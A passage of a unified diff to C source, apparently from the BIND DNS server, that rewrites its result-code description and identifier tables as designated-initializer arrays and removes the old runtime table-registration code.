-	"not implemented",		    /*%< 27 */
-	"unbalanced parentheses",	    /*%< 28 */
-	"no more",			    /*%< 29 */
-	"invalid file",			    /*%< 30 */
-	"bad base64 encoding",		    /*%< 31 */
-	"unexpected token",		    /*%< 32 */
-	"quota reached",		    /*%< 33 */
-	"unexpected error",		    /*%< 34 */
-	"already running",		    /*%< 35 */
-	"ignore",			    /*%< 36 */
-	"address mask not contiguous",	    /*%< 37 */
-	"file not found",		    /*%< 38 */
-	"file already exists",		    /*%< 39 */
-	"socket is not connected",	    /*%< 40 */
-	"out of range",			    /*%< 41 */
-	"out of entropy",		    /*%< 42 */
-	"invalid use of multicast address", /*%< 43 */
-	"not a file",			    /*%< 44 */
-	"not a directory",		    /*%< 45 */
-	"queue is empty",		    /*%< 46 */
-	"address family mismatch",	    /*%< 47 */
-	"address family not supported",	    /*%< 48 */
-	"bad hex encoding",		    /*%< 49 */
-	"too many open files",		    /*%< 50 */
-	"not blocking",			    /*%< 51 */
-	"unbalanced quotes",		    /*%< 52 */
-	"operation in progress",	    /*%< 53 */
-	"connection reset",		    /*%< 54 */
-	"soft quota reached",		    /*%< 55 */
-	"not a valid number",		    /*%< 56 */
-	"disabled",			    /*%< 57 */
-	"max size",			    /*%< 58 */
-	"invalid address format",	    /*%< 59 */
-	"bad base32 encoding",		    /*%< 60 */
-	"unset",			    /*%< 61 */
-	"multiple",			    /*%< 62 */
-	"would block",			    /*%< 63 */
-	"complete",			    /*%< 64 */
-	"crypto failure",		    /*%< 65 */
-	"disc quota",			    /*%< 66 */
-	"disc full",			    /*%< 67 */
-	"default",			    /*%< 68 */
-	"IPv4 prefix",			    /*%< 69 */
-	"TLS error",			    /*%< 70 */
-	"ALPN for HTTP/2 failed"	    /*%< 71 */
+	[ISC_R_SUCCESS] = "success",
+	[ISC_R_NOMEMORY] = "out of memory",
+	[ISC_R_TIMEDOUT] = "timed out",
+	[ISC_R_NOTHREADS] = "no available threads",
+	[ISC_R_ADDRNOTAVAIL] = "address not available",
+	[ISC_R_ADDRINUSE] = "address in use",
+	[ISC_R_NOPERM] = "permission denied",
+	[ISC_R_NOCONN] = "no pending connections",
+	[ISC_R_NETUNREACH] = "network unreachable",
+	[ISC_R_HOSTUNREACH] = "host unreachable",
+	[ISC_R_NETDOWN] = "network down",
+	[ISC_R_HOSTDOWN] = "host down",
+	[ISC_R_CONNREFUSED] = "connection refused",
+	[ISC_R_NORESOURCES] = "not enough free resources",
+	[ISC_R_EOF] = "end of file",
+	[ISC_R_BOUND] = "socket already bound",
+	[ISC_R_RELOAD] = "reload",
+	[ISC_R_LOCKBUSY] = "lock busy",
+	[ISC_R_EXISTS] = "already exists",
+	[ISC_R_NOSPACE] = "ran out of space",
+	[ISC_R_CANCELED] = "operation canceled",
+	[ISC_R_NOTBOUND] = "socket is not bound",
+	[ISC_R_SHUTTINGDOWN] = "shutting down",
+	[ISC_R_NOTFOUND] = "not found",
+	[ISC_R_UNEXPECTEDEND] = "unexpected end of input",
+	[ISC_R_FAILURE] = "failure",
+	[ISC_R_IOERROR] = "I/O error",
+	[ISC_R_NOTIMPLEMENTED] = "not implemented",
+	[ISC_R_UNBALANCED] = "unbalanced parentheses",
+	[ISC_R_NOMORE] = "no more",
+	[ISC_R_INVALIDFILE] = "invalid file",
+	[ISC_R_BADBASE64] = "bad base64 encoding",
+	[ISC_R_UNEXPECTEDTOKEN] = "unexpected token",
+	[ISC_R_QUOTA] = "quota reached",
+	[ISC_R_UNEXPECTED] = "unexpected error",
+	[ISC_R_ALREADYRUNNING] = "already running",
+	[ISC_R_IGNORE] = "ignore",
+	[ISC_R_MASKNONCONTIG] = "address mask not contiguous",
+	[ISC_R_FILENOTFOUND] = "file not found",
+	[ISC_R_FILEEXISTS] = "file already exists",
+	[ISC_R_NOTCONNECTED] = "socket is not connected",
+	[ISC_R_RANGE] = "out of range",
+	[ISC_R_NOENTROPY] = "out of entropy",
+	[ISC_R_MULTICAST] = "invalid use of multicast address",
+	[ISC_R_NOTFILE] = "not a file",
+	[ISC_R_NOTDIRECTORY] = "not a directory",
+	[ISC_R_EMPTY] = "queue is empty",
+	[ISC_R_FAMILYMISMATCH] = "address family mismatch",
+	[ISC_R_FAMILYNOSUPPORT] = "address family not supported",
+	[ISC_R_BADHEX] = "bad hex encoding",
+	[ISC_R_TOOMANYOPENFILES] = "too many open files",
+	[ISC_R_NOTBLOCKING] = "not blocking",
+	[ISC_R_UNBALANCEDQUOTES] = "unbalanced quotes",
+	[ISC_R_INPROGRESS] = "operation in progress",
+	[ISC_R_CONNECTIONRESET] = "connection reset",
+	[ISC_R_SOFTQUOTA] = "soft quota reached",
+	[ISC_R_BADNUMBER] = "not a valid number",
+	[ISC_R_DISABLED] = "disabled",
+	[ISC_R_MAXSIZE] = "max size",
+	[ISC_R_BADADDRESSFORM] = "invalid address format",
+	[ISC_R_BADBASE32] = "bad base32 encoding",
+	[ISC_R_UNSET] = "unset",
+	[ISC_R_MULTIPLE] = "multiple",
+	[ISC_R_WOULDBLOCK] = "would block",
+	[ISC_R_COMPLETE] = "complete",
+	[ISC_R_CRYPTOFAILURE] = "crypto failure",
+	[ISC_R_DISCQUOTA] = "disc quota",
+	[ISC_R_DISCFULL] = "disc full",
+	[ISC_R_DEFAULT] = "default",
+	[ISC_R_IPV4PREFIX] = "IPv4 prefix",
+	[ISC_R_TLSERROR] = "TLS error",
+	[ISC_R_TLSBADPEERCERT] = "TLS peer certificate verification failed",
+	[ISC_R_HTTP2ALPNERROR] = "ALPN for HTTP/2 failed",
+	[ISC_R_DOTALPNERROR] = "ALPN for DoT failed",
+	[ISC_R_INVALIDPROTO] = "invalid protocol",
+
+	[DNS_R_LABELTOOLONG] = "label too long",
+	[DNS_R_BADESCAPE] = "bad escape",
+	[DNS_R_EMPTYLABEL] = "empty label",
+	[DNS_R_BADDOTTEDQUAD] = "bad dotted quad",
+	[DNS_R_INVALIDNS] = "invalid NS owner name (wildcard)",
+	[DNS_R_UNKNOWN] = "unknown class/type",
+	[DNS_R_BADLABELTYPE] = "bad label type",
+	[DNS_R_BADPOINTER] = "bad compression pointer",
+	[DNS_R_TOOMANYHOPS] = "too many hops",
+	[DNS_R_DISALLOWED] = "disallowed (by application policy)",
+	[DNS_R_EXTRATOKEN] = "extra input text",
+	[DNS_R_EXTRADATA] = "extra input data",
+	[DNS_R_TEXTTOOLONG] = "text too long",
+	[DNS_R_NOTZONETOP] = "not at top of zone",
+	[DNS_R_SYNTAX] = "syntax error",
+	[DNS_R_BADCKSUM] = "bad checksum",
+	[DNS_R_BADAAAA] = "bad IPv6 address",
+	[DNS_R_NOOWNER] = "no owner",
+	[DNS_R_NOTTL] = "no ttl",
+	[DNS_R_BADCLASS] = "bad class",
+	[DNS_R_NAMETOOLONG] = "name too long",
+	[DNS_R_PARTIALMATCH] = "partial match",
+	[DNS_R_NEWORIGIN] = "new origin",
+	[DNS_R_UNCHANGED] = "unchanged",
+	[DNS_R_BADTTL] = "bad ttl",
+	[DNS_R_NOREDATA] = "more data needed/to be rendered",
+	[DNS_R_CONTINUE] = "continue",
+	[DNS_R_DELEGATION] = "delegation",
+	[DNS_R_GLUE] = "glue",
+	[DNS_R_DNAME] = "dname",
+	[DNS_R_CNAME] = "cname",
+	[DNS_R_BADDB] = "bad database",
+	[DNS_R_ZONECUT] = "zonecut",
+	[DNS_R_BADZONE] = "bad zone",
+	[DNS_R_MOREDATA] = "more data",
+	[DNS_R_UPTODATE] = "up to date",
+	[DNS_R_TSIGVERIFYFAILURE] = "tsig verify failure",
+	[DNS_R_TSIGERRORSET] = "tsig indicates error",
+	[DNS_R_SIGINVALID] = "RRSIG failed to verify",
+	[DNS_R_SIGEXPIRED] = "RRSIG has expired",
+	[DNS_R_SIGFUTURE] = "RRSIG validity period has not begun",
+	[DNS_R_KEYUNAUTHORIZED] = "key is unauthorized to sign data",
+	[DNS_R_INVALIDTIME] = "invalid time",
+	[DNS_R_EXPECTEDTSIG] = "expected a TSIG or SIG(0)",
+	[DNS_R_UNEXPECTEDTSIG] = "did not expect a TSIG or SIG(0)",
+	[DNS_R_INVALIDTKEY] = "TKEY is unacceptable",
+	[DNS_R_HINT] = "hint",
+	[DNS_R_DROP] = "drop",
+	[DNS_R_NOTLOADED] = "zone not loaded",
+	[DNS_R_NCACHENXDOMAIN] = "ncache nxdomain",
+	[DNS_R_NCACHENXRRSET] = "ncache nxrrset",
+	[DNS_R_WAIT] = "wait",
+	[DNS_R_NOTVERIFIEDYET] = "not verified yet",
+	[DNS_R_NOIDENTITY] = "no identity",
+	[DNS_R_NOJOURNAL] = "no journal",
+	[DNS_R_ALIAS] = "alias",
+	[DNS_R_USETCP] = "use TCP",
+	[DNS_R_NOVALIDSIG] = "no valid RRSIG",
+	[DNS_R_NOVALIDNSEC] = "no valid NSEC",
+	[DNS_R_NOTINSECURE] = "insecurity proof failed",
+	[DNS_R_UNKNOWNSERVICE] = "unknown service",
+	[DNS_R_RECOVERABLE] = "recoverable error occurred",
+	[DNS_R_UNKNOWNOPT] = "unknown opt attribute record",
+	[DNS_R_UNEXPECTEDID] = "unexpected message id",
+	[DNS_R_SEENINCLUDE] = "seen include file",
+	[DNS_R_NOTEXACT] = "not exact",
+	[DNS_R_BLACKHOLED] = "address blackholed",
+	[DNS_R_BADALG] = "bad algorithm",
+	[DNS_R_METATYPE] = "invalid use of a meta type",
+	[DNS_R_CNAMEANDOTHER] = "CNAME and other data",
+	[DNS_R_SINGLETON] = "multiple RRs of singleton type",
+	[DNS_R_HINTNXRRSET] = "hint nxrrset",
+	[DNS_R_NOMASTERFILE] = "no master file configured",
+	[DNS_R_UNKNOWNPROTO] = "unknown protocol",
+	[DNS_R_CLOCKSKEW] = "clocks are unsynchronized",
+	[DNS_R_BADIXFR] = "IXFR failed",
+	[DNS_R_NOTAUTHORITATIVE] = "not authoritative",
+	[DNS_R_NOVALIDKEY] = "no valid KEY",
+	[DNS_R_OBSOLETE] = "obsolete",
+	[DNS_R_FROZEN] = "already frozen",
+	[DNS_R_UNKNOWNFLAG] = "unknown flag",
+	[DNS_R_EXPECTEDRESPONSE] = "expected a response",
+	[DNS_R_NOVALIDDS] = "no valid DS",
+	[DNS_R_NSISADDRESS] = "NS is an address",
+	[DNS_R_REMOTEFORMERR] = "received FORMERR",
+	[DNS_R_TRUNCATEDTCP] = "truncated TCP response",
+	[DNS_R_LAME] = "lame server detected",
+	[DNS_R_UNEXPECTEDRCODE] = "unexpected RCODE",
+	[DNS_R_UNEXPECTEDOPCODE] = "unexpected OPCODE",
+	[DNS_R_CHASEDSSERVERS] = "chase DS servers",
+	[DNS_R_EMPTYNAME] = "empty name",
+	[DNS_R_EMPTYWILD] = "empty wild",
+	[DNS_R_BADBITMAP] = "bad bitmap",
+	[DNS_R_FROMWILDCARD] = "from wildcard",
+	[DNS_R_BADOWNERNAME] = "bad owner name (check-names)",
+	[DNS_R_BADNAME] = "bad name (check-names)",
+	[DNS_R_DYNAMIC] = "dynamic zone",
+	[DNS_R_UNKNOWNCOMMAND] = "unknown command",
+	[DNS_R_MUSTBESECURE] = "must-be-secure",
+	[DNS_R_COVERINGNSEC] = "covering NSEC record returned",
+	[DNS_R_MXISADDRESS] = "MX is an address",
+	[DNS_R_DUPLICATE] = "duplicate query",
+	[DNS_R_INVALIDNSEC3] = "invalid NSEC3 owner name (wildcard)",
+	[DNS_R_NOTPRIMARY] = "not primary",
+	[DNS_R_BROKENCHAIN] = "broken trust chain",
+	[DNS_R_EXPIRED] = "expired",
+	[DNS_R_NOTDYNAMIC] = "not dynamic",
+	[DNS_R_BADEUI] = "bad EUI",
+	[DNS_R_NTACOVERED] = "covered by negative trust anchor",
+	[DNS_R_BADCDS] = "bad CDS",
+	[DNS_R_BADCDNSKEY] = "bad CDNSKEY",
+	[DNS_R_OPTERR] = "malformed OPT option",
+	[DNS_R_BADDNSTAP] = "malformed DNSTAP data",
+	[DNS_R_BADTSIG] = "TSIG in wrong location",
+	[DNS_R_BADSIG0] = "SIG(0) in wrong location",
+	[DNS_R_TOOMANYRECORDS] = "too many records",
+	[DNS_R_VERIFYFAILURE] = "verify failure",
+	[DNS_R_ATZONETOP] = "at top of zone",
+	[DNS_R_NOKEYMATCH] = "no matching key found",
+	[DNS_R_TOOMANYKEYS] = "too many keys matching",
+	[DNS_R_KEYNOTACTIVE] = "key is not actively signing",
+	[DNS_R_NSEC3ITERRANGE] = "NSEC3 iterations out of range",
+	[DNS_R_NSEC3SALTRANGE] = "NSEC3 salt length too high",
+	[DNS_R_NSEC3BADALG] = "cannot use NSEC3 with key algorithm",
+	[DNS_R_NSEC3RESALT] = "NSEC3 resalt",
+	[DNS_R_INCONSISTENTRR] = "inconsistent resource record",
+	[DNS_R_HAVEPARMKEYS] = "unexpected service parameter keys",
+	[DNS_R_NOALPN] = "no ALPN",
+	[DNS_R_NODOHPATH] = "no DOHPATH",
+
+	[DST_R_UNSUPPORTEDALG] = "algorithm is unsupported",
+	[DST_R_CRYPTOFAILURE] = "crypto failure",
+	[DST_R_NOCRYPTO] = "built with no crypto support",
+	[DST_R_NULLKEY] = "illegal operation for a null key",
+	[DST_R_INVALIDPUBLICKEY] = "public key is invalid",
+	[DST_R_INVALIDPRIVATEKEY] = "private key is invalid",
+	[DST_R_WRITEERROR] = "error occurred writing key to disk",
+	[DST_R_INVALIDPARAM] = "invalid algorithm specific parameter",
+	[DST_R_SIGNFAILURE] = "sign failure",
+	[DST_R_VERIFYFAILURE] = "verify failure",
+	[DST_R_NOTPUBLICKEY] = "not a public key",
+	[DST_R_NOTPRIVATEKEY] = "not a private key",
+	[DST_R_KEYCANNOTCOMPUTESECRET] = "not a key that can compute a secret",
+	[DST_R_COMPUTESECRETFAILURE] = "failure computing a shared secret",
+	[DST_R_NORANDOMNESS] = "no randomness available",
+	[DST_R_BADKEYTYPE] = "bad key type",
+	[DST_R_NOENGINE] = "no engine",
+	[DST_R_EXTERNALKEY] = "illegal operation for an external key",
+
+	[DNS_R_NOERROR] = "NOERROR",
+	[DNS_R_FORMERR] = "FORMERR",
+	[DNS_R_SERVFAIL] = "SERVFAIL",
+	[DNS_R_NXDOMAIN] = "NXDOMAIN",
+	[DNS_R_NOTIMP] = "NOTIMP",
+	[DNS_R_REFUSED] = "REFUSED",
+	[DNS_R_YXDOMAIN] = "YXDOMAIN",
+	[DNS_R_YXRRSET] = "YXRRSET",
+	[DNS_R_NXRRSET] = "NXRRSET",
+	[DNS_R_NOTAUTH] = "NOTAUTH",
+	[DNS_R_NOTZONE] = "NOTZONE",
+	[DNS_R_RCODE11] = "<rcode 11>",
+	[DNS_R_RCODE12] = "<rcode 12>",
+	[DNS_R_RCODE13] = "<rcode 13>",
+	[DNS_R_RCODE14] = "<rcode 14>",
+	[DNS_R_RCODE15] = "<rcode 15>",
+	[DNS_R_BADVERS] = "BADVERS",
+	[DNS_R_BADCOOKIE] = "BADCOOKIE",
+
+	[ISCCC_R_UNKNOWNVERSION] = "unknown version",
+	[ISCCC_R_SYNTAX] = "syntax error",
+	[ISCCC_R_BADAUTH] = "bad auth",
+	[ISCCC_R_EXPIRED] = "expired",
+	[ISCCC_R_CLOCKSKEW] = "clock skew",
+	[ISCCC_R_DUPLICATE] = "duplicate",
+	[ISCCC_R_MAXDEPTH] = "max depth",
 };
 
-static const char *identifier[ISC_R_NRESULTS] = { "ISC_R_SUCCESS",
-						  "ISC_R_NOMEMORY",
-						  "ISC_R_TIMEDOUT",
-						  "ISC_R_NOTHREADS",
-						  "ISC_R_ADDRNOTAVAIL",
-						  "ISC_R_ADDRINUSE",
-						  "ISC_R_NOPERM",
-						  "ISC_R_NOCONN",
-						  "ISC_R_NETUNREACH",
-						  "ISC_R_HOSTUNREACH",
-						  "ISC_R_NETDOWN",
-						  "ISC_R_HOSTDOWN",
-						  "ISC_R_CONNREFUSED",
-						  "ISC_R_NORESOURCES",
-						  "ISC_R_EOF",
-						  "ISC_R_BOUND",
-						  "ISC_R_RELOAD",
-						  "ISC_R_LOCKBUSY",
-						  "ISC_R_EXISTS",
-						  "ISC_R_NOSPACE",
-						  "ISC_R_CANCELED",
-						  "ISC_R_NOTBOUND",
-						  "ISC_R_SHUTTINGDOWN",
-						  "ISC_R_NOTFOUND",
-						  "ISC_R_UNEXPECTEDEND",
-						  "ISC_R_FAILURE",
-						  "ISC_R_IOERROR",
-						  "ISC_R_NOTIMPLEMENTED",
-						  "ISC_R_UNBALANCED",
-						  "ISC_R_NOMORE",
-						  "ISC_R_INVALIDFILE",
-						  "ISC_R_BADBASE64",
-						  "ISC_R_UNEXPECTEDTOKEN",
-						  "ISC_R_QUOTA",
-						  "ISC_R_UNEXPECTED",
-						  "ISC_R_ALREADYRUNNING",
-						  "ISC_R_IGNORE",
-						  "ISC_R_MASKNONCONTIG",
-						  "ISC_R_FILENOTFOUND",
-						  "ISC_R_FILEEXISTS",
-						  "ISC_R_NOTCONNECTED",
-						  "ISC_R_RANGE",
-						  "ISC_R_NOENTROPY",
-						  "ISC_R_MULTICAST",
-						  "ISC_R_NOTFILE",
-						  "ISC_R_NOTDIRECTORY",
-						  "ISC_R_EMPTY",
-						  "ISC_R_FAMILYMISMATCH",
-						  "ISC_R_FAMILYNOSUPPORT",
-						  "ISC_R_BADHEX",
-						  "ISC_R_TOOMANYOPENFILES",
-						  "ISC_R_NOTBLOCKING",
-						  "ISC_R_UNBALANCEDQUOTES",
-						  "ISC_R_INPROGRESS",
-						  "ISC_R_CONNECTIONRESET",
-						  "ISC_R_SOFTQUOTA",
-						  "ISC_R_BADNUMBER",
-						  "ISC_R_DISABLED",
-						  "ISC_R_MAXSIZE",
-						  "ISC_R_BADADDRESSFORM",
-						  "ISC_R_BADBASE32",
-						  "ISC_R_UNSET",
-						  "ISC_R_MULTIPLE",
-						  "ISC_R_WOULDBLOCK",
-						  "ISC_R_COMPLETE",
-						  "ISC_R_CRYPTOFAILURE",
-						  "ISC_R_DISCQUOTA",
-						  "ISC_R_DISCFULL",
-						  "ISC_R_DEFAULT",
-						  "ISC_R_IPV4PREFIX",
-						  "ISC_R_TLSERROR",
-						  "ISC_R_HTTP2ALPNERROR" };
-
-#define ISC_RESULT_RESULTSET	  2
-#define ISC_RESULT_UNAVAILABLESET 3
-
-static isc_once_t once = ISC_ONCE_INIT;
-static resulttable_list_t description_tables;
-static resulttable_list_t identifier_tables;
-static isc_rwlock_t lock;
-
-static isc_result_t
-register_table(resulttable_list_t *tables, unsigned int base,
-	       unsigned int nresults, const char **text, int set) {
-	resulttable *table;
-
-	REQUIRE(base % ISC_RESULTCLASS_SIZE == 0);
-	REQUIRE(nresults <= ISC_RESULTCLASS_SIZE);
-	REQUIRE(text != NULL);
-
-	/*
-	 * We use malloc() here because we we want to be able to use
-	 * isc_result_totext() even if there is no memory context.
-	 */
-	table = malloc(sizeof(*table));
-	if (table == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-	table->base = base;
-	table->last = base + nresults - 1;
-	table->text = text;
-	table->set = set;
-	ISC_LINK_INIT(table, link);
-
-	RWLOCK(&lock, isc_rwlocktype_write);
-
-	ISC_LIST_APPEND(*tables, table, link);
-
-	RWUNLOCK(&lock, isc_rwlocktype_write);
-
-	return (ISC_R_SUCCESS);
-}
-
-static void
-initialize_action(void) {
-	isc_result_t result;
-
-	isc_rwlock_init(&lock, 0, 0);
-	ISC_LIST_INIT(description_tables);
-	ISC_LIST_INIT(identifier_tables);
-
-	result = register_table(&description_tables, ISC_RESULTCLASS_ISC,
-				ISC_R_NRESULTS, description,
-				ISC_RESULT_RESULTSET);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "register_table() failed: %u", result);
-	}
-
-	result = register_table(&identifier_tables, ISC_RESULTCLASS_ISC,
-				ISC_R_NRESULTS, identifier,
-				ISC_RESULT_RESULTSET);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "register_table() failed: %u", result);
-	}
-}
-
-static void
-initialize(void) {
-	RUNTIME_CHECK(isc_once_do(&once, initialize_action) == ISC_R_SUCCESS);
-}
-
-static const char *
-isc_result_tomany_helper(resulttable_list_t *tables, isc_result_t result) {
-	resulttable *table;
-	const char *text;
-	int index;
-
-	initialize();
+static const char *identifier[ISC_R_NRESULTS] = {
+	[ISC_R_SUCCESS] = "ISC_R_SUCCESS",
+	[ISC_R_NOMEMORY] = "ISC_R_NOMEMORY",
+	[ISC_R_TIMEDOUT] = "ISC_R_TIMEDOUT",
+	[ISC_R_NOTHREADS] = "ISC_R_NOTHREADS",
+	[ISC_R_ADDRNOTAVAIL] = "ISC_R_ADDRNOTAVAIL",
+	[ISC_R_ADDRINUSE] = "ISC_R_ADDRINUSE",
+	[ISC_R_NOPERM] = "ISC_R_NOPERM",
+	[ISC_R_NOCONN] = "ISC_R_NOCONN",
+	[ISC_R_NETUNREACH] = "ISC_R_NETUNREACH",
+	[ISC_R_HOSTUNREACH] = "ISC_R_HOSTUNREACH",
+	[ISC_R_NETDOWN] = "ISC_R_NETDOWN",
+	[ISC_R_HOSTDOWN] = "ISC_R_HOSTDOWN",
+	[ISC_R_CONNREFUSED] = "ISC_R_CONNREFUSED",
+	[ISC_R_NORESOURCES] = "ISC_R_NORESOURCES",
+	[ISC_R_EOF] = "ISC_R_EOF",
+	[ISC_R_BOUND] = "ISC_R_BOUND",
+	[ISC_R_RELOAD] = "ISC_R_RELOAD",
+	[ISC_R_LOCKBUSY] = "ISC_R_LOCKBUSY",
+	[ISC_R_EXISTS] = "ISC_R_EXISTS",
+	[ISC_R_NOSPACE] = "ISC_R_NOSPACE",
+	[ISC_R_CANCELED] = "ISC_R_CANCELED",
+	[ISC_R_NOTBOUND] = "ISC_R_NOTBOUND",
+	[ISC_R_SHUTTINGDOWN] = "ISC_R_SHUTTINGDOWN",
+	[ISC_R_NOTFOUND] = "ISC_R_NOTFOUND",
+	[ISC_R_UNEXPECTEDEND] = "ISC_R_UNEXPECTEDEND",
+	[ISC_R_FAILURE] = "ISC_R_FAILURE",
+	[ISC_R_IOERROR] = "ISC_R_IOERROR",
+	[ISC_R_NOTIMPLEMENTED] = "ISC_R_NOTIMPLEMENTED",
+	[ISC_R_UNBALANCED] = "ISC_R_UNBALANCED",
+	[ISC_R_NOMORE] = "ISC_R_NOMORE",
+	[ISC_R_INVALIDFILE] = "ISC_R_INVALIDFILE",
+	[ISC_R_BADBASE64] = "ISC_R_BADBASE64",
+	[ISC_R_UNEXPECTEDTOKEN] = "ISC_R_UNEXPECTEDTOKEN",
+	[ISC_R_QUOTA] = "ISC_R_QUOTA",
+	[ISC_R_UNEXPECTED] = "ISC_R_UNEXPECTED",
+	[ISC_R_ALREADYRUNNING] = "ISC_R_ALREADYRUNNING",
+	[ISC_R_IGNORE] = "ISC_R_IGNORE",
+	[ISC_R_MASKNONCONTIG] = "ISC_R_MASKNONCONTIG",
+	[ISC_R_FILENOTFOUND] = "ISC_R_FILENOTFOUND",
+	[ISC_R_FILEEXISTS] = "ISC_R_FILEEXISTS",
+	[ISC_R_NOTCONNECTED] = "ISC_R_NOTCONNECTED",
+	[ISC_R_RANGE] = "ISC_R_RANGE",
+	[ISC_R_NOENTROPY] = "ISC_R_NOENTROPY",
+	[ISC_R_MULTICAST] = "ISC_R_MULTICAST",
+	[ISC_R_NOTFILE] = "ISC_R_NOTFILE",
+	[ISC_R_NOTDIRECTORY] = "ISC_R_NOTDIRECTORY",
+	[ISC_R_EMPTY] = "ISC_R_EMPTY",
+	[ISC_R_FAMILYMISMATCH] = "ISC_R_FAMILYMISMATCH",
+	[ISC_R_FAMILYNOSUPPORT] = "ISC_R_FAMILYNOSUPPORT",
+	[ISC_R_BADHEX] = "ISC_R_BADHEX",
+	[ISC_R_TOOMANYOPENFILES] = "ISC_R_TOOMANYOPENFILES",
+	[ISC_R_NOTBLOCKING] = "ISC_R_NOTBLOCKING",
+	[ISC_R_UNBALANCEDQUOTES] = "ISC_R_UNBALANCEDQUOTES",
+	[ISC_R_INPROGRESS] = "ISC_R_INPROGRESS",
+	[ISC_R_CONNECTIONRESET] = "ISC_R_CONNECTIONRESET",
+	[ISC_R_SOFTQUOTA] = "ISC_R_SOFTQUOTA",
+	[ISC_R_BADNUMBER] = "ISC_R_BADNUMBER",
+	[ISC_R_DISABLED] = "ISC_R_DISABLED",
+	[ISC_R_MAXSIZE] = "ISC_R_MAXSIZE",
+	[ISC_R_BADADDRESSFORM] = "ISC_R_BADADDRESSFORM",
+	[ISC_R_BADBASE32] = "ISC_R_BADBASE32",
+	[ISC_R_UNSET] = "ISC_R_UNSET",
+	[ISC_R_MULTIPLE] = "ISC_R_MULTIPLE",
+	[ISC_R_WOULDBLOCK] = "ISC_R_WOULDBLOCK",
+	[ISC_R_COMPLETE] = "ISC_R_COMPLETE",
+	[ISC_R_CRYPTOFAILURE] = "ISC_R_CRYPTOFAILURE",
+	[ISC_R_DISCQUOTA] = "ISC_R_DISCQUOTA",
+	[ISC_R_DISCFULL] = "ISC_R_DISCFULL",
+	[ISC_R_DEFAULT] = "ISC_R_DEFAULT",
+	[ISC_R_IPV4PREFIX] = "ISC_R_IPV4PREFIX",
+	[ISC_R_TLSERROR] = "ISC_R_TLSERROR",
+	[ISC_R_TLSBADPEERCERT] = "ISC_R_TLSBADPEERCERT",
+	[ISC_R_HTTP2ALPNERROR] = "ISC_R_HTTP2ALPNERROR",
+	[ISC_R_DOTALPNERROR] = "ISC_R_DOTALPNERROR",
+	[DNS_R_LABELTOOLONG] = "DNS_R_LABELTOOLONG",
+	[DNS_R_BADESCAPE] = "DNS_R_BADESCAPE",
+	[DNS_R_EMPTYLABEL] = "DNS_R_EMPTYLABEL",
+	[DNS_R_BADDOTTEDQUAD] = "DNS_R_BADDOTTEDQUAD",
+	[DNS_R_INVALIDNS] = "DNS_R_INVALIDNS",
+	[DNS_R_UNKNOWN] = "DNS_R_UNKNOWN",
+	[DNS_R_BADLABELTYPE] = "DNS_R_BADLABELTYPE",
+	[DNS_R_BADPOINTER] = "DNS_R_BADPOINTER",
+	[DNS_R_TOOMANYHOPS] = "DNS_R_TOOMANYHOPS",
+	[DNS_R_DISALLOWED] = "DNS_R_DISALLOWED",
+	[DNS_R_EXTRATOKEN] = "DNS_R_EXTRATOKEN",
+	[DNS_R_EXTRADATA] = "DNS_R_EXTRADATA",
+	[DNS_R_TEXTTOOLONG] = "DNS_R_TEXTTOOLONG",
+	[DNS_R_NOTZONETOP] = "DNS_R_NOTZONETOP",
+	[DNS_R_SYNTAX] = "DNS_R_SYNTAX",
+	[DNS_R_BADCKSUM] = "DNS_R_BADCKSUM",
+	[DNS_R_BADAAAA] = "DNS_R_BADAAAA",
+	[DNS_R_NOOWNER] = "DNS_R_NOOWNER",
+	[DNS_R_NOTTL] = "DNS_R_NOTTL",
+	[DNS_R_BADCLASS] = "DNS_R_BADCLASS",
+	[DNS_R_NAMETOOLONG] = "DNS_R_NAMETOOLONG",
+	[DNS_R_PARTIALMATCH] = "DNS_R_PARTIALMATCH",
+	[DNS_R_NEWORIGIN] = "DNS_R_NEWORIGIN",
+	[DNS_R_UNCHANGED] = "DNS_R_UNCHANGED",
+	[DNS_R_BADTTL] = "DNS_R_BADTTL",
+	[DNS_R_NOREDATA] = "DNS_R_NOREDATA",
+	[DNS_R_CONTINUE] = "DNS_R_CONTINUE",
+	[DNS_R_DELEGATION] = "DNS_R_DELEGATION",
+	[DNS_R_GLUE] = "DNS_R_GLUE",
+	[DNS_R_DNAME] = "DNS_R_DNAME",
+	[DNS_R_CNAME] = "DNS_R_CNAME",
+	[DNS_R_BADDB] = "DNS_R_BADDB",
+	[DNS_R_ZONECUT] = "DNS_R_ZONECUT",
+	[DNS_R_BADZONE] = "DNS_R_BADZONE",
+	[DNS_R_MOREDATA] = "DNS_R_MOREDATA",
+	[DNS_R_UPTODATE] = "DNS_R_UPTODATE",
+	[DNS_R_TSIGVERIFYFAILURE] = "DNS_R_TSIGVERIFYFAILURE",
+	[DNS_R_TSIGERRORSET] = "DNS_R_TSIGERRORSET",
+	[DNS_R_SIGINVALID] = "DNS_R_SIGINVALID",
+	[DNS_R_SIGEXPIRED] = "DNS_R_SIGEXPIRED",
+	[DNS_R_SIGFUTURE] = "DNS_R_SIGFUTURE",
+	[DNS_R_KEYUNAUTHORIZED] = "DNS_R_KEYUNAUTHORIZED",
+	[DNS_R_INVALIDTIME] = "DNS_R_INVALIDTIME",
+	[DNS_R_EXPECTEDTSIG] = "DNS_R_EXPECTEDTSIG",
+	[DNS_R_UNEXPECTEDTSIG] = "DNS_R_UNEXPECTEDTSIG",
+	[DNS_R_INVALIDTKEY] = "DNS_R_INVALIDTKEY",
+	[DNS_R_HINT] = "DNS_R_HINT",
+	[DNS_R_DROP] = "DNS_R_DROP",
+	[DNS_R_NOTLOADED] = "DNS_R_NOTLOADED",
+	[DNS_R_NCACHENXDOMAIN] = "DNS_R_NCACHENXDOMAIN",
+	[DNS_R_NCACHENXRRSET] = "DNS_R_NCACHENXRRSET",
+	[DNS_R_WAIT] = "DNS_R_WAIT",
+	[DNS_R_NOTVERIFIEDYET] = "DNS_R_NOTVERIFIEDYET",
+	[DNS_R_NOIDENTITY] = "DNS_R_NOIDENTITY",
+	[DNS_R_NOJOURNAL] = "DNS_R_NOJOURNAL",
+	[DNS_R_ALIAS] = "DNS_R_ALIAS",
+	[DNS_R_USETCP] = "DNS_R_USETCP",
+	[DNS_R_NOVALIDSIG] = "DNS_R_NOVALIDSIG",
+	[DNS_R_NOVALIDNSEC] = "DNS_R_NOVALIDNSEC",
+	[DNS_R_NOTINSECURE] = "DNS_R_NOTINSECURE",
